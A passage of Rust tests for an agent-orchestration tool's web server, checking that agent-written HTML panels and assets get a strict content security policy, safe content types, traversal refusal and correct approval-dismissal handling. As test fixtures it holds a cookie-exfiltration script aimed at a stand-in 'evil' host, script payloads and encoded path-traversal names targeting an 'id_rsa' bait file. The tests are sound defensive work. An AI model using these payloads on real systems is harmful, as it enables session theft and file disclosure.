11769            .next()
11770            .and_then(|line| line.split_whitespace().nth(1))
11771            .and_then(|code| code.parse().ok())
11772            .expect("a status line");
11773        Res {
11774            status,
11775            headers: head.to_lowercase(),
11776            head,
11777            body: String::from_utf8_lossy(&bytes).into_owned(),
11778            bytes,
11779        }
11780    }
11781
11782    /// A run on disk, without touching the process-global magi home.
11783    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11784        let mut state = RunState::new(
11785            PathBuf::from("/repo/magi"),
11786            "main".to_owned(),
11787            "0123456789abcdef".to_owned(),
11788            "Add a web UI\n\nMobile first.".to_owned(),
11789            Config::default(),
11790        );
11791        state.id = id.to_owned();
11792        state.status = status;
11793        let dir = runs.join(id);
11794        std::fs::create_dir_all(&dir).expect("run dir");
11795        std::fs::write(
11796            dir.join("run.json"),
11797            serde_json::to_string_pretty(&state).expect("serialize run"),
11798        )
11799        .expect("write run.json");
11800    }
11801
11802    /// Same as [`write_run`], but against a named repository rather than the
11803    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
11804    /// spread across more than one.
11805    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11806        let mut state = RunState::new(
11807            PathBuf::from(repo),
11808            "main".to_owned(),
11809            "0123456789abcdef".to_owned(),
11810            "task".to_owned(),
11811            Config::default(),
11812        );
11813        state.id = id.to_owned();
11814        state.status = status;
11815        let dir = runs.join(id);
11816        std::fs::create_dir_all(&dir).expect("run dir");
11817        std::fs::write(
11818            dir.join("run.json"),
11819            serde_json::to_string_pretty(&state).expect("serialize run"),
11820        )
11821        .expect("write run.json");
11822    }
11823
11824    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11825        let body = serde_json::json!({
11826            "schema": 1,
11827            "pid": 4242,
11828            "started_at": Timestamp::now().to_string(),
11829            "updated_at": updated_at.to_string(),
11830            "idle": false,
11831            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11832            "completed": 7,
11833            "polls": 143,
11834        });
11835        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11836    }
11837
11838    /// A loop that starts, finds nothing to do, and waits to be told to stop.
11839    ///
11840    /// No test in this file may start the real loop - see [`Ui::launch`] for
11841    /// why - so this stands in for the only thing the routes need a loop to
11842    /// do: keep running until `Stop` is set, then return. A real
11843    /// `serve_until` here would resolve its queue and its status file through
11844    /// the process-global magi home, claim whatever it found in the
11845    /// operator's live backlog, overwrite the status file of the `magi serve`
11846    /// that owns it, and spend real agent quota on a real competition.
11847    fn launch_idle(
11848        _opts: daemon::Opts,
11849        stop: daemon::Stop,
11850    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11851        Box::pin(async move {
11852            while !stop.stopped() {
11853                tokio::time::sleep(Duration::from_millis(2)).await;
11854            }
11855            Ok(())
11856        })
11857    }
11858
11859    /// A loop that fails on the way up, the way one whose home has gone
11860    /// read-only does.
11861    fn launch_broken(
11862        _opts: daemon::Opts,
11863        _stop: daemon::Stop,
11864    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11865        // The stand-in dies instantly, so a restarted one can record its own
11866        // failure before the start's response is read. The second attempt
11867        // therefore fails with a different message, to tell a stale error
11868        // from a fresh one.
11869        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11870        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11871        Box::pin(async move {
11872            Err(anyhow::anyhow!(if first {
11873                "publish the daemon status file: read-only file system"
11874            } else {
11875                "the restarted stand-in failed as well"
11876            }))
11877        })
11878    }
11879
11880    /// The loop view once `want` accepts it.
11881    ///
11882    /// Polled rather than asserted straight after the POST because stopping
11883    /// is deliberately not instant - that is the contract - and rather than
11884    /// slept through because a fixed wait is either flaky or slow.
11885    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
11886    /// finite, so a genuine hang fails the test instead of hanging the
11887    /// suite.
11888    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11889        for _ in 0..SETTLE_STEPS {
11890            let view = fx.get("/api/loop").await.json();
11891            if want(&view) {
11892                return view;
11893            }
11894            tokio::time::sleep(Duration::from_millis(10)).await;
11895        }
11896        panic!(
11897            "the loop never settled: {}",
11898            fx.get("/api/loop").await.json()
11899        );
11900    }
11901
11902    /// File an open question directly in the store the server reads.
11903    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11904        let store = fx.questions();
11905        let mut q = Question::new(
11906            "20260902-000000-beef".to_owned(),
11907            "implement".to_owned(),
11908            "impl-A".to_owned(),
11909            summary.to_owned(),
11910            "because it matters".to_owned(),
11911            choices.iter().map(|c| (*c).to_owned()).collect(),
11912        );
11913        store.put(&mut q).expect("put question");
11914        q.id
11915    }
11916
11917    /// A question with a panel the server can serve, plus the named assets.
11918    ///
11919    /// Written through `Questions::put_panel` rather than by laying out the
11920    /// directory here, so these tests exercise the same on-disk shape the
11921    /// agents produce and cannot pass against a layout only the tests know.
11922    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11923        let store = fx.questions();
11924        let mut q = Question::new(
11925            "20260902-000000-beef".to_owned(),
11926            "land".to_owned(),
11927            "fix".to_owned(),
11928            "Merge this?".to_owned(),
11929            "the diff is in the panel".to_owned(),
11930            vec!["merge".to_owned(), "hold".to_owned()],
11931        );
11932        // Staged outside the questions root, because `put_panel` copies from
11933        // wherever the agent left its files.
11934        let staging = fx.home.path().join("staging");
11935        std::fs::create_dir_all(&staging).expect("staging dir");
11936        let sources: Vec<PathBuf> = assets
11937            .iter()
11938            .map(|(name, bytes)| {
11939                let path = staging.join(name);
11940                std::fs::write(&path, bytes).expect("write staged asset");
11941                path
11942            })
11943            .collect();
11944        store
11945            .put_panel(&mut q, html, &sources)
11946            .expect("write the panel");
11947        store.put(&mut q).expect("put question");
11948        q.id
11949    }
11950
11951    /// A talk on disk, without talking to a model.
11952    ///
11953    /// Written as JSON straight into the store the server reads, because the
11954    /// only constructor `talk::begin` offers takes no turn but still requires
11955    /// a real caller-visible flow. The one thing this cannot make up is the
11956    /// seat, so it is built with the real `SeatState::new` and serialized -
11957    /// the alternative, hand-writing that object, would make these tests fail
11958    /// the day the seat gains a field.
11959    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11960        seed_talk_at(&fx.talks(), id, status)
11961    }
11962
11963    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11964        std::fs::create_dir_all(store.root()).expect("talks dir");
11965        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11966            .expect("serialize a seat");
11967        let body = serde_json::json!({
11968            "schema": 1,
11969            "id": id,
11970            "repo": "/repo/magi",
11971            "agent": "mock",
11972            "status": status,
11973            "turns": [],
11974            "created_at": Timestamp::now().to_string(),
11975            "updated_at": Timestamp::now().to_string(),
11976            "seat": seat,
11977        });
11978        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11979        store.get(id).expect("the seeded talk has to be readable");
11980        id.to_owned()
11981    }
11982
11983    #[tokio::test]
11984    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11985        let fx = Fixture::start().await;
11986        let id = panel(
11987            &fx,
11988            "<h1>Merge?</h1><img src=\"diff.svg\">",
11989            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11990        );
11991
11992        for path in [
11993            format!("/api/questions/{id}/panel"),
11994            format!("/api/questions/{id}/asset/diff.svg"),
11995        ] {
11996            let res = fx.get(&path).await;
11997            assert_eq!(res.status, 200, "{path}: {}", res.body);
11998            // The whole string, not a substring. A weakened directive - an
11999            // `img-src *` that lets a panel beacon out to a remote host, a
12000            // `script-src` anything, a missing `form-action` that lets it post
12001            // the owner's decision to a third party - has to fail here, and a
12002            // `contains` assertion would let every one of those through.
12003            assert_eq!(
12004                res.header("content-security-policy"),
12005                Some(
12006                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12007                     font-src data:; base-uri 'none'; form-action 'none'; \
12008                     frame-ancestors 'self'"
12009                ),
12010                "{path} is the only thing between a hostile panel and the tailnet"
12011            );
12012            assert_eq!(
12013                res.header("x-content-type-options"),
12014                Some("nosniff"),
12015                "{path}: a browser must not re-decide the type we sent"
12016            );
12017            assert_eq!(
12018                res.header("referrer-policy"),
12019                Some("no-referrer"),
12020                "{path}: a panel must not leak the question id off the machine"
12021            );
12022
12023            // The front end mounts the frame only after a `HEAD` says the
12024            // panel is there, so `HEAD` has to answer with the same status and
12025            // the same policy as `GET` - a preflight that came back without
12026            // the CSP would mean a frame mounted on an unverified promise.
12027            let pre = fx.head(&path).await;
12028            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12029            assert_eq!(
12030                pre.header("content-security-policy"),
12031                res.header("content-security-policy"),
12032                "{path}: the preflight carries the same policy"
12033            );
12034            assert_eq!(
12035                pre.header("content-type"),
12036                res.header("content-type"),
12037                "{path}: the preflight carries the same type"
12038            );
12039        }
12040    }
12041
12042    #[tokio::test]
12043    async fn a_panel_reaches_the_browser_byte_for_byte() {
12044        let fx = Fixture::start().await;
12045        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12046        // tag, an entity, and a multi-byte character. The sandbox is what makes
12047        // this safe, so nothing here may be rewritten on the way out - a
12048        // rewritten diff is a diff the owner cannot trust.
12049        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12050        let id = panel(&fx, html, &[]);
12051
12052        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12053
12054        assert_eq!(res.status, 200);
12055        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12056        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12057        assert_eq!(
12058            res.header("content-disposition"),
12059            None,
12060            "the panel itself is rendered in the frame, not downloaded"
12061        );
12062    }
12063
12064    #[tokio::test]
12065    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12066        let fx = Fixture::start().await;
12067        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12068        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12069        let id = panel(
12070            &fx,
12071            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12072            &[("diff.svg", svg), ("shot.png", png)],
12073        );
12074
12075        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12076        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12077
12078        assert_eq!(as_svg.status, 200);
12079        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12080        // An SVG is XML that may carry script. Inside the panel it is an
12081        // `<img src>` and the script cannot run; opened at the top level it
12082        // would be a document on magi's own origin, so the browser is told to
12083        // download it instead of rendering it.
12084        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12085
12086        assert_eq!(as_png.status, 200);
12087        assert_eq!(as_png.header("content-type"), Some("image/png"));
12088        assert_eq!(
12089            as_png.header("content-disposition"),
12090            None,
12091            "a raster image has no execution surface, so tapping it still shows it"
12092        );
12093        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12094    }
12095
12096    #[tokio::test]
12097    async fn an_html_asset_is_never_served_as_html() {
12098        let fx = Fixture::start().await;
12099        let id = panel(
12100            &fx,
12101            "<p>see the notes</p>",
12102            &[
12103                (
12104                    "notes.html",
12105                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12106                ),
12107                ("hook.js", b"fetch('http://evil/')"),
12108                ("data.json", b"{}"),
12109                ("HEADLINE.TXT", b"plain"),
12110            ],
12111        );
12112
12113        for name in ["notes.html", "hook.js", "data.json"] {
12114            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12115            assert_eq!(res.status, 200, "{name}: {}", res.body);
12116            // Serving this as text/html would be a way to reach agent markup
12117            // at the top level of the operator's browser, outside the frame's
12118            // sandbox and outside its CSP - which is the whole thing the panel
12119            // design exists to prevent. Unlisted types are downloads.
12120            assert_eq!(
12121                res.header("content-type"),
12122                Some("application/octet-stream"),
12123                "{name} must not be a type the browser will execute or render"
12124            );
12125        }
12126        // The whitelist is matched case-insensitively, so an agent shouting the
12127        // extension still gets a readable file rather than a download.
12128        let txt = fx
12129            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12130            .await;
12131        assert_eq!(
12132            txt.header("content-type"),
12133            Some("text/plain; charset=utf-8")
12134        );
12135    }
12136
12137    #[tokio::test]
12138    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12139        let fx = Fixture::start().await;
12140        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12141        // Something outside the panel directory that a traversal would reach if
12142        // one got through, so a passing test is not merely "the file was
12143        // missing anyway".
12144        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12145
12146        // Decoded before this server's handler sees them: axum percent-decodes
12147        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12148        // string with a NUL in it. All three look like ordinary single-segment
12149        // filenames to the router, so the router passes them through and
12150        // `valid_asset_name` is what refuses them - for the literal `..`, and
12151        // for `/`, `\` and NUL not being in the permitted character set.
12152        for encoded in [
12153            "%2e%2e%2fid_rsa",
12154            "..%2fid_rsa",
12155            "..%5cid_rsa",
12156            "%2e%2e%5cid_rsa",
12157            "diff%00.svg",
12158            "..",
12159            ".hidden",
12160            "%2e%2e%2f%2e%2e%2fid_rsa",
12161        ] {
12162            let res = fx
12163                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12164                .await;
12165            assert_eq!(
12166                res.status, 400,
12167                "`{encoded}` has to be refused by name, not looked up: {}",
12168                res.body
12169            );
12170            assert!(res.json()["error"].is_string(), "{}", res.body);
12171        }
12172
12173        // Not decoded, and never this handler's problem: a real slash makes the
12174        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12175        // so axum's router has no route to match and answers before any code
12176        // here runs. Asserted so that a future route with a wildcard segment
12177        // cannot quietly open this door.
12178        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12179            let res = fx
12180                .get(&format!("/api/questions/{id}/asset/{literal}"))
12181                .await;
12182            assert_eq!(
12183                res.status, 404,
12184                "`{literal}` must not match the asset route at all: {}",
12185                res.body
12186            );
12187        }
12188    }
12189
12190    #[tokio::test]
12191    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12192        let fx = Fixture::start().await;
12193        let plain = ask(&fx, "Which backend?", &["SQLite"]);
12194        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12195
12196        // A question nobody wrote a panel for. The client preflights with HEAD
12197        // and cannot see inside a sandboxed frame, so this must be a status and
12198        // not an empty page.
12199        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12200        assert_eq!(none.status, 404, "{}", none.body);
12201        assert!(none.json()["error"].is_string(), "{}", none.body);
12202        assert_eq!(
12203            fx.head(&format!("/api/questions/{plain}/panel"))
12204                .await
12205                .status,
12206            404,
12207            "the preflight is the only way the client can learn this"
12208        );
12209
12210        // A name that is perfectly legal and simply is not there.
12211        let missing = fx
12212            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12213            .await;
12214        assert_eq!(missing.status, 404, "{}", missing.body);
12215        assert!(missing.json()["error"].is_string(), "{}", missing.body);
12216
12217        // A question that does not exist at all, on both routes.
12218        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12219        assert_eq!(
12220            fx.get("/api/questions/nope/asset/diff.svg").await.status,
12221            404
12222        );
12223    }
12224
12225    #[tokio::test]
12226    async fn a_run_with_an_open_question_reads_as_waiting() {
12227        let fx = Fixture::start().await;
12228        let run = "20260902-000000-beef".to_owned();
12229        write_run(&fx.runs(), &run, RunStatus::Implementing);
12230
12231        let before = fx.get("/api/runs").await.json();
12232        assert_eq!(before[0]["waiting"], false, "{before}");
12233
12234        let store = fx.questions();
12235        let mut q = Question::new(
12236            run.clone(),
12237            "implement".to_owned(),
12238            "impl-A".to_owned(),
12239            "Which backend?".to_owned(),
12240            String::new(),
12241            vec!["SQLite".to_owned()],
12242        );
12243        store.put(&mut q).expect("put");
12244
12245        let during = fx.get("/api/runs").await.json();
12246        assert_eq!(during[0]["waiting"], true, "{during}");
12247
12248        // Answered: the run is moving again, and the flag has to follow without
12249        // anything having rewritten run.json.
12250        q.answer(Answer::Choice("SQLite".to_owned()))
12251            .expect("answer");
12252        store.put(&mut q).expect("put");
12253        let after = fx.get("/api/runs").await.json();
12254        assert_eq!(after[0]["waiting"], false, "{after}");
12255    }
12256
12257    #[tokio::test]
12258    async fn an_open_question_is_listed_and_counted_by_health() {
12259        let fx = Fixture::start().await;
12260        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12261
12262        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12263        let listed = fx.get("/api/questions").await.json();
12264        assert_eq!(listed.as_array().expect("array").len(), 1);
12265        assert_eq!(listed[0]["id"], id);
12266        assert_eq!(listed[0]["status"], "open");
12267        assert_eq!(listed[0]["choices"][1], "Redis");
12268        // The count is what makes the phone's indicator honest: it is the one
12269        // number meaning nothing will move until a human acts.
12270        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12271    }
12272
12273    fn obsolete_approval_state() -> RunState {
12274        let mut state = crate::land::tests::repair_state(true, true);
12275        state.pr = Some(crate::run::PrRecord {
12276            url: "https://github.com/example/repo/pull/42".into(),
12277            number: 42,
12278            state: "open".into(),
12279            checks: "green".into(),
12280            round: 1,
12281            rounds: 4,
12282            red_at_merge: Vec::new(),
12283        });
12284        state
12285    }
12286
12287    #[tokio::test]
12288    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12289        for owner in ["missing", "current", "completed", "later"] {
12290            let fx = Fixture {
12291                home: TempDir::new().unwrap(),
12292                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12293            };
12294            let mut state = obsolete_approval_state();
12295            state.status = RunStatus::Landing;
12296            state.parked = true;
12297            state.driver_exited = true;
12298            let mut q = Question::new(
12299                state.id.clone(),
12300                crate::land::APPROVAL_NODE.into(),
12301                "land".into(),
12302                "Old approval".into(),
12303                "Original evidence".into(),
12304                vec!["merge".into(), "hold".into()],
12305            );
12306            state.land_approval = Some(crate::run::LandApproval {
12307                question: q.id.clone(),
12308                head: "head".into(),
12309            });
12310            state.save_under(fx.home.path()).unwrap();
12311            let stale = state.clone();
12312            fx.questions().put(&mut q).unwrap();
12313            let mut task = Task::new(
12314                "Owner".into(),
12315                "Original instruction".into(),
12316                state.repo.clone(),
12317                Source::Human,
12318            );
12319            task.runs.push(state.id.clone());
12320            task.status = if owner == "completed" {
12321                TaskStatus::Done
12322            } else {
12323                TaskStatus::Parked
12324            };
12325            if owner == "later" {
12326                task.runs.push("later-run".into());
12327            }
12328            if owner != "missing" {
12329                fx.queue().put(&mut task).unwrap();
12330            }
12331            let ui = Arc::new(Ui::new(
12332                fx.queue(),
12333                fx.questions(),
12334                fx.talks(),
12335                fx.runs(),
12336                fx.home.path().into(),
12337                state.repo.clone(),
12338            ));
12339            let response = question_answer(
12340                State(ui),
12341                Path(q.id.clone()),
12342                Ok(Json(NewAnswer {
12343                    choice: Some(crate::merge_decision::DISMISS.into()),
12344                    text: None,
12345                    ..Default::default()
12346                })),
12347            )
12348            .await
12349            .unwrap();
12350            assert_eq!(
12351                response.0.question.resolution().as_deref(),
12352                Some(crate::merge_decision::DISMISS)
12353            );
12354            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12355            assert_eq!(disk.status, RunStatus::Superseded);
12356            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12357            assert!(!crate::merge_decision::resumable_hold(&disk));
12358            assert_eq!(
12359                serde_json::to_value(&disk.pr).unwrap(),
12360                serde_json::to_value(&stale.pr).unwrap()
12361            );
12362            assert_eq!(fx.questions().count_open(), 0);
12363            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12364            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12365            if owner == "missing" {
12366                assert!(fx.queue().list().is_empty());
12367            } else {
12368                let after = fx.queue().get(&task.id).unwrap();
12369                assert_eq!(
12370                    after.status,
12371                    if owner == "current" {
12372                        TaskStatus::Done
12373                    } else {
12374                        task.status
12375                    }
12376                );
12377                assert_eq!(after.runs, task.runs);
12378                assert_eq!(after.instruction, task.instruction);
12379                assert_eq!(after.action_applied(&q.id), owner == "current");
12380            }
12381        }
12382    }
12383
12384    #[tokio::test]
12385    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12386        let fx = Fixture::start().await;
12387        let mut state = obsolete_approval_state();
12388        state.status = RunStatus::Landing;
12389        state.parked = true;
12390        state.driver_exited = true;
12391        let mut q = Question::new(
12392            state.id.clone(),
12393            crate::land::APPROVAL_NODE.into(),
12394            "land".into(),
12395            "Superseded PR approval".into(),
12396            "Original review evidence".into(),
12397            vec!["merge".into(), "hold".into()],
12398        );
12399        state.land_approval = Some(crate::run::LandApproval {
12400            question: q.id.clone(),
12401            head: "old-reviewed-head".into(),
12402        });
12403        // The old persisted PR may still say open even when a separate change
12404        // already landed. Dismissal must not use that snapshot to close it.
12405        state.save_under(fx.home.path()).unwrap();
12406        let stale_driver = state.clone();
12407        fx.questions().put(&mut q).unwrap();
12408        let path = fx
12409            .home
12410            .path()
12411            .join("questions")
12412            .join(format!("{}.json", q.id));
12413        let mut legacy = serde_json::to_value(&q).unwrap();
12414        legacy["schema"] = 9.into();
12415        legacy.as_object_mut().unwrap().remove("merge_target");
12416        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12417
12418        // POST without GET tests legacy upgrade and validation at the actual
12419        // entry point, rather than constructing a modern card in the test.
12420        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12421        let answer_path = format!("/api/questions/{}/answer", q.id);
12422        let res = fx.post(&answer_path, Some(&body)).await;
12423        assert_eq!(res.status, 200, "{}", res.body);
12424        let disk = fx.questions().get(&q.id).unwrap();
12425        assert_eq!(
12426            disk.resolution().as_deref(),
12427            Some(crate::merge_decision::DISMISS)
12428        );
12429        assert!(disk.detail.starts_with("Original review evidence"));
12430        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12431        assert_eq!(retired.status, RunStatus::Superseded);
12432        assert_eq!(
12433            serde_json::to_value(&retired.pr).unwrap(),
12434            serde_json::to_value(&state.pr).unwrap()
12435        );
12436        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12437        assert!(!crate::merge_decision::resumable_hold(&retired));
12438        assert!(fx.queue().list().is_empty());
12439        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12440        // A restarted server re-reads the persisted pending list.
12441        let addr = Fixture::serve(
12442            fx.home.path(),
12443            PathBuf::from("/repo/magi"),
12444            launch_idle,
12445            None,
12446        )
12447        .await;
12448        let reconnected = Fixture {
12449            home: fx.home,
12450            addr,
12451        };
12452        let listed = reconnected.get("/api/questions").await.json();
12453        assert!(
12454            listed
12455                .as_array()
12456                .unwrap()
12457                .iter()
12458                .all(|q| q["status"] != "open")
12459        );
12460        assert_eq!(listed[0]["id"], q.id, "history remains available");
12461        assert_eq!(
12462            reconnected.get("/api/health").await.json()["questions_open"],
12463            0
12464        );
12465        assert_eq!(
12466            reconnected
12467                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12468                .await
12469                .status,
12470            409
12471        );
12472        // A late waiter cannot turn the old answer into a new decision.
12473        assert!(
12474            reconnected
12475                .questions()
12476                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12477                .is_err()
12478        );
12479        // The same guard used by claims, repair and publication rejects a
12480        // saved in-memory driver as well as the persisted terminal record.
12481        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12482    }
12483
12484    #[tokio::test]
12485    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12486        let fx = Fixture::start().await;
12487        let mut state = obsolete_approval_state();
12488        state.status = RunStatus::Landing;
12489        state.driver_exited = true;
12490        let mut q = Question::new(
12491            state.id.clone(),
12492            crate::land::APPROVAL_NODE.into(),
12493            "land".into(),
12494            "Obsolete approval".into(),
12495            String::new(),
12496            vec!["merge".into(), "hold".into()],
12497        );
12498        state.land_approval = Some(crate::run::LandApproval {
12499            question: q.id.clone(),
12500            head: "head".into(),
12501        });
12502        state.save_under(fx.home.path()).unwrap();
12503        fx.questions().put(&mut q).unwrap();
12504        let mut task = Task::new(
12505            "Owner".into(),
12506            "Original instruction".into(),
12507            state.repo.clone(),
12508            Source::Human,
12509        );
12510        task.runs = vec![state.id.clone(), "later-run".into()];
12511        fx.queue().put(&mut task).unwrap();
12512        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12513        let claim = fx.queue().claim(&task.id).unwrap();
12514        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12515        let path = format!("/api/questions/{}/answer", q.id);
12516        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12517        assert!(fx.questions().get(&q.id).unwrap().status.open());
12518        drop(claim);
12519        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12520        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12521        assert!(fx.questions().get(&q.id).unwrap().status.open());
12522        drop(publication);
12523        // Unknown liveness and armed auto-merge both fail without settling.
12524        state.driver_exited = false;
12525        state.driver_pid = None;
12526        state.driver_claimed = None; // No durable proof of an unstarted execution.
12527        state.save_under(fx.home.path()).unwrap();
12528        assert_eq!(
12529            state.liveness_under(fx.home.path(), false),
12530            crate::run::Liveness::Unknown
12531        );
12532
12533        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12534        state.driver_exited = true;
12535        state.land_armed_head = Some("head".into());
12536        state.save_under(fx.home.path()).unwrap();
12537        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12538        state.land_armed_head = None;
12539        state.save_under(fx.home.path()).unwrap();
12540        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12541        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12542        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12543    }
12544
12545    #[tokio::test]
12546    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12547        let fx = Fixture::start().await;
12548        let mut state = obsolete_approval_state();
12549        state.status = RunStatus::Landing;
12550        state.driver_exited = true;
12551        let mut q = Question::new(
12552            state.id.clone(),
12553            crate::land::APPROVAL_NODE.into(),
12554            "land".into(),
12555            "Obsolete approval".into(),
12556            String::new(),
12557            vec!["merge".into(), "hold".into()],
12558        );
12559        state.land_approval = Some(crate::run::LandApproval {
12560            question: q.id.clone(),
12561            head: "head".into(),
12562        });
12563        state.save_under(fx.home.path()).unwrap();
12564        fx.questions().put(&mut q).unwrap();
12565        let mut task = Task::new(
12566            "Owner".into(),
12567            "Original instruction".into(),
12568            state.repo.clone(),
12569            Source::Human,
12570        );
12571        task.runs.push(state.id.clone());
12572        task.status = TaskStatus::Parked;
12573        fx.queue().put(&mut task).unwrap();
12574        // Model a crash after the run stop was persisted but before the queue
12575        // and answered question were flushed. Retrying must finish, not resume.
12576        state.merge_decision = Some(crate::merge_decision::Decision {
12577            question: q.id.clone(),
12578            target: crate::merge_decision::Target {
12579                pr: state.pr.as_ref().unwrap().url.clone(),
12580                head: "head".into(),
12581                language: "ja".into(),
12582            },
12583            choice: crate::merge_decision::DISMISS.into(),
12584            closed: false,
12585            replacement_run: None,
12586            replacement_pr: None,
12587        });
12588        state.status = RunStatus::Superseded;
12589        state.save_under(fx.home.path()).unwrap();
12590        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12591        let path = format!("/api/questions/{}/answer", q.id);
12592        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12593        let done = fx.queue().get(&task.id).unwrap();
12594        assert_eq!(done.status, TaskStatus::Done);
12595        assert_eq!(done.runs, task.runs);
12596        assert_eq!(done.instruction, task.instruction);
12597        assert!(done.action_applied(&q.id));
12598        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12599        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12600        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12601    }
12602
12603    #[tokio::test]
12604    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12605        let home = TempDir::new().unwrap();
12606        let ui = Arc::new(Ui::new(
12607            Queue::at(home.path().join("queue")),
12608            Questions::at(home.path().join("questions")),
12609            Talks::at(home.path().join("talks")),
12610            home.path().join("runs"),
12611            home.path().to_owned(),
12612            home.path().to_owned(),
12613        ));
12614        let talks = &ui.talks;
12615        let chat =
12616            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12617        let mut q = Question::new(
12618            "run".into(),
12619            crate::land::APPROVAL_NODE.into(),
12620            "land".into(),
12621            "Merge?".into(),
12622            String::new(),
12623            vec!["merge".into(), "hold".into()],
12624        );
12625        q.routed_task = Some("task".into());
12626        q.routed_chat = Some(chat.id.clone());
12627        q.merge_target = Some(crate::merge_decision::Target {
12628            pr: "https://example.test/pull/1".into(),
12629            head: "head-a".into(),
12630            language: "en".into(),
12631        });
12632        ui.questions.put(&mut q).unwrap();
12633        let send = |body| {
12634            question_answer(
12635                State(ui.clone()),
12636                Path(q.id.clone()),
12637                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12638            )
12639        };
